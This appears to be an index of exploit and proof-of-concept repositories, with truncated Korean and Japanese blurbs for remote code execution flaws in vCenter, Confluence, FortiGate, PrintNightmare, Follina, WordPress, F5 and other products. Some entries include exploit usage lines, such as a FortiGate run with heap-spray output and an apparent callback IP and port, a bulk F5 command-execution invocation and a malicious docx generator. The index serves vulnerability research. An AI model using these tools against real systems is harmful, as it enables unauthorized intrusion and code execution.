CVE-2021-21972

CVE-2021-21972 취약점 점검을 위한 Nmap 스크립트 - CVE-2021-21972 vCenter Server RCE 취약점 참고 자료: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21972 https://www.vmware.com/security/advisories/VMSA-2021-0002.html 예시 nmap -p443 --script cve-2021-21972.nse --script-args vulns.showall IP 크레딧 Alex Hernandez일...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 설명 Confluence 무단 원격 코드 실행 취약점 : CVE-2022-26134 Confluence는 호주 소프트웨어 회사 Atlassian이 개발한 웹 기반 기업용 위키입니다. 2022년 6월 2일, Atlassian은 Confluence Server 및 Data Center 애플리케이션에 대한 보안 권고를 발표하면서, 심각도가 높은 인증되지 않은 원격 코드 실행 취약점을 강조했습니다. OGNL 인젝션 취약점을 통해 인증되지 않은 사용자가 Confluence Server 또는...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ FreePBXの重大な認証バイパス脆弱性を検出・検証するための強力なNucleiツールキットです。 📖 目次 クリックして展開 このプロジェクトについて 主な特徴 脆弱性の詳細 テンプレートの動作 Shodanで対象を探す 法的免責事項 作者への連絡 サポートをお願いします 📌 このプロジェクトについて このリポジトリは、FreePBXの認証バイパス脆弱性（CVE-2025-57819）に対処するための頼りになるツール集です。以下の2つの強力なNucleiテンプレートが含まれています： 🔍...

CVE-2021-21985_PoC

CVE-2021-21985 취약한 코드 CLASS/METHODs 사용 가능, PoC 목적의 작은 샘플: com.vmware.vsan.client.services.capability.VsanCapabilityProvider ../snip getClusterCapabilityData getHostCapabilityData getHostsCapabilitiyData getIsDeduplicationSupported getIsEncryptionSupported getIsLocalDataProtectionSupportedOnVc...

CVE-2023-27997

CVE-2023-27997 이 코드로 FortiGate VM64 7.2.0을 익스플로잇할 수 있습니다. 참고: 코드가 매우 어리석은 방식으로 작성되었습니다. 개념 증명 $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray +...

CVE-2025-55182

React2Shell: CVE-2025-55182 분석서 저자: Kavienan J 취약점 발견자: lachlan2k, React 팀에 책임감 있게 공개했습니다. 이 취약점에 대한 업데이트는 다음에서 확인하세요: react2shell.com 목차 1. 소개 2. 배경 3. ReactFlightReplyServer.js 이해하기 4. 첫 번째 페이로드 제작 5. 가짜 청크 6. 모든 것이 통제 하에 7. 익스플로잇 8. 수정 사항 소개 CVE-2025-55182 는 심각도 10.0/10.0 으로 평가되었습니다. 공개된 PoC를...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 참고 dalao 분들께 경의를 표하며: CVE-2023-50386 취약점 작성자 블로그 Java Security Manager 우회 방법 JDK 17에서의 리플렉션 보호 우회 JNI를 이용한 Rasp 우회 취약점 이용 원리 및 고찰: https://mp.weixin.qq.com/s/mO4e8aiuL56yBdOD4jy2qQ poc는 Pocsuite3로 작성되었으며, 프레임워...

CVE-2021-34527

PrintNightmare CVE-2021-34527 이 PrintNightmare 익스플로잇 버전은 Cube0x0이 만든 코드를 기반으로 하며, 다음 기능을 제공합니다: 여러 호스트를 대상으로 지정할 수 있습니다. 페이로드 전달을 위한 내장 SMB 서버가 포함되어 있어 공개 파일 공유가 필요 없습니다. 익스플로잇에는 MS-RPRN 및 MS-PAR 프로토콜이 모두 포함되어 있습니다 CMD 인자에서 정의. @gentilkiwi의 UNC 우회 기술을 구현합니다. Installation 실행 전에 최신 버전의 impacket을...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 任意ファイルアップロード / RCE CVE-2019-12169 Exploit Title: ATutor 2.2.4 任意ファイルアップロード / RCE CVE-2019-12169 Date: 2019年5月24日 Exploit Author: liquidsky JMcPeters Vendor Homepage: https://atutor.github.io/ Software Link: https://sourceforge.net/projects/atutor/files/latest/download Version: 2.2.4...

wp2shell

wp2shell — WordPressコアにおける事前認証RCE 未認証のWordPressコアRCE PoC、CVE-2026-63030 + CVE-2026-60137を連鎖。許可されたテストのみ。 wp2shell.pyは、単一ファイルで標準ライブラリのみを使用した概念実証であり、2つ のWordPressコア脆弱性を連鎖させて未認証のリモートコード実行を実現します。 CVE| Component| Bug ---|---|--- CVE-2026-63030| REST /batch/v1 handler| ルート混乱デシンク —...

spring-RCE-CVE-2022-22965

취약점 개요 최근 Spring에서 대규모 CVE 취약점이 발견되었습니다. CVE 정보에 따르면 "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution RCE via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as...

WordPress_4.9.8_RCE_POC

요약 WordPress RCE작성자 권한를 위한 간단한 PoC로, CVE-2019-8942 및 CVE-2019-8943을 참조하세요. 영향을 받는 버전 WordPress " 3. WPScan으로 현재 테마를 탐지합니다. wpscan -u -et, 예: wordpress 4.9.8의 기본값인 twentyseventeen 4. 페이로드 이미지 파일 poc.jpg를 업로드합니다. author 계정으로 로그인합니다; 대시보드에서 미디어 - 새로 추가를 클릭하여 poc.jpg 파일을 업로드합니다; 업로드된 이미지를 선택하고 세부 정보...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 개념 증명 POC "gridValoresPopHidden" 매개변수에 PHP 코드를 포함한 URL에 접속하기만 하면 됩니다. 연구자 https://www.linkedin.com/in/xvinicius/...

CVE-2023-33253

CVE-2023-33253 LabCollector 6.0부터 6.15는 원격 코드 실행을 허용합니다. 인증된 원격 저권한 사용자는 실행 가능한 PHP 파일을 업로드하고 시스템 명령을 실행할 수 있습니다. 이 취약점은 message 함수에 있으며, 전송되는 파일예: shell.jpg.php.shell에 대한 검증 부족으로 인해 발생합니다. Windows Server 2019 x64에서 테스트되었습니다. 사용 방법: python CVE-2023-33253 -t 127.0.0.1 -u user -p user PoC:...

F5_RCE

사용 python3 f5rce.py -u 指定目标URL -f 批量检测文件 -c 执行命令 결과는 아래와 같습니다: PS：输出不够美感，我会修改的😁 문제 이 poc는 현재 일부 명령만 지원하며, history, ls 등은 실행에 실패합니다. 원인은 알 수 없습니다. 추후 업데이트: 일부 명령 실행 오류 수정 1. 정규식 매칭, 출력 다듬기 2. 다른 poc 활용 방식 업데이트 참조 poc 주소 스크립트 키디는 취약점CVE-2021-22986을 어떻게 재현하고 대량으로 악용하는가...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Microsoft Office Word 원격 코드 실행 취약점을 악용하는 악성 docx 생성기 이 스크립트는 LockedByte의 CVE-2021-40444 PoC와 Tothi의 writeup을 기반으로 제작되었습니다. 사용법 먼저 backup.html을 수정하고 powershell 페이로드를 교체하세요. 현재는 IEX'calc.exe'를 사용하여 calc.exe만 실행합니다. python3 exploit.py generate http:// 악성 docx를...

CVE-2025-53772

CVE-2025-53772 - Microsoft Web Deploy 원격 코드 실행 익스플로잇 CVE-2025-53772를 대상으로 하는 Python 기반 익스플로잇으로, HTTP 헤더 데이터의 안전하지 않은 역직렬화로 인해 발생하는 Microsoft Web Deploymsdeploy 원격 코드 실행 취약점입니다. 🎬 POC 영상 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2025-53772 CVSS 점수| 8.8 높음 영향을 받는 제품| Microsoft Web Deploy 4.0 취약한 버전| │...

cve-2022-42889-intercept

cve-2022-42889-intercept Java 11 미만 버전은 주의가 필요합니다. 더 높은 버전에서는 Javascript 인터프리터가 제거되었습니다. 이번 방안은 Java 8을 대상으로 합니다. JVM 시작 매개변수와 jps pid를 통해 불법 매개변수를 차단합니다. 빠른 시작 -----------------------load...... cve-2022-42889 check start cve-2022-42889 isdeepmatch org.apache.commons.text.StringSubstitutor...

dp_cryptomg

dpcryptomg CVE-2017-9248을 익스플로잇하기 위한 또 다른 도구로, Telerik UI for ASP.NET AJAX 대화 상자 처리기의 암호학적 취약점입니다. 익스플로잇에 성공하면 임의 파일을 업로드할 수 있는 파일 관리자 기능에 접근하게 되어, 일반적으로 원격 코드 실행RCE으로 이어집니다. 이 취약점은 Telerik "DialogParameters"의 복호화 과정 중 오류 메시지를 통한 정보 누출로 인해 발생합니다. "DialogParameters"는 암호화된 구성 값들의 집합입니다. 이러한 값들은 사용자...

cve-2020-0796

CVE-2020-0796은 SMBv3 프로토콜이 악의적인 압축 데이터 패킷을 처리할 때 오류가 발생하여 발생합니다. 압축 해제 시 클라이언트가 전송한 길이를 사용하여 압축을 풀 때 길이가 적법한지 확인하지 않아 결국 정수 오버플로우가 발생합니다. 이 취약점을 통해 원격의 인증되지 않은 공격자가 대상 시스템에서 임의 코드를 실행할 수 있습니다. 이 취약점은 EternalBlueMS17-010와 유사합니다. 영향을 받는 버전: Windows 10 Version 1903 for 32-bit Systems Windows 10...